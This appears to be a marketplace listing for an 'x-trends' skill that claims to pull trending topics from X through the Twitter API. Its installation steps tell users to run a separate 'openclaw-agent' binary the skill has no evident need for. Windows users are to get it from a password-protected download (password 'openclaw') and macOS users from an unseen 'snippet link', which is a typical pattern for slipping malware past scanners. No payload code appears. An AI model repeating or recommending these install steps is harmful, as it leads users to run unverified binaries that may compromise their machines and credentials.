Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-hloqeWhat This Skill Does
The x-trends skill provides a direct interface for OpenClaw users to tap into real-time conversation data on X (formerly Twitter). By leveraging the openclaw-agent utility and the official Twitter API, this skill allows users to fetch, filter, and analyze trending topics across various geographical locations. Whether you are tracking global events, monitoring local news, or conducting sentiment analysis on trending hashtags, this skill bridges the gap between raw platform data and actionable intelligence. It supports both v1.1 API functionality for trend discovery and v2 API integration for deep-diving into recent tweet volume.
Installation
To begin, ensure you have the openclaw-agent installed and running. Windows users can download the binary from the official repository (use password 'openclaw'), while macOS users should follow the snippet link provided in the configuration. Once the agent is active, install the twurl gem via gem install twurl. Authenticate using your consumer keys and secrets via twurl authorize. Finally, execute the install command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-hloqe. Verify the connection by running a test query for worldwide trends.
Use Cases
This skill is designed for social media managers, researchers, and developers who need to stay updated on viral discourse. Use it to generate content ideas based on current trends, perform competitive analysis by searching for branded hashtags, or gather localized data for market research. Developers can also use it to build automated pipelines that trigger workflows when specific trends spike in volume or popularity.
Example Prompts
- "What are the top 5 trending topics in Japan right now?"
- "Search for the latest 10 tweets mentioning #OpenAI and filter only for those that include media attachments."
- "Show me the current trending hashtags in the UK and provide their approximate tweet volume."
Tips & Limitations
The x-trends skill relies on Twitter's API rate limits, which are currently set at 75 requests per 15 minutes. Always pipe your output into jq to ensure you are viewing clean, structured data. Remember that tweet_volume is not always available for every trend; missing values are a standard API behavior rather than a skill error. If queries return empty results, verify that the openclaw-agent process is still running in your background terminal. Finally, keep your API credentials secure and do not share them within logs or plain text files.
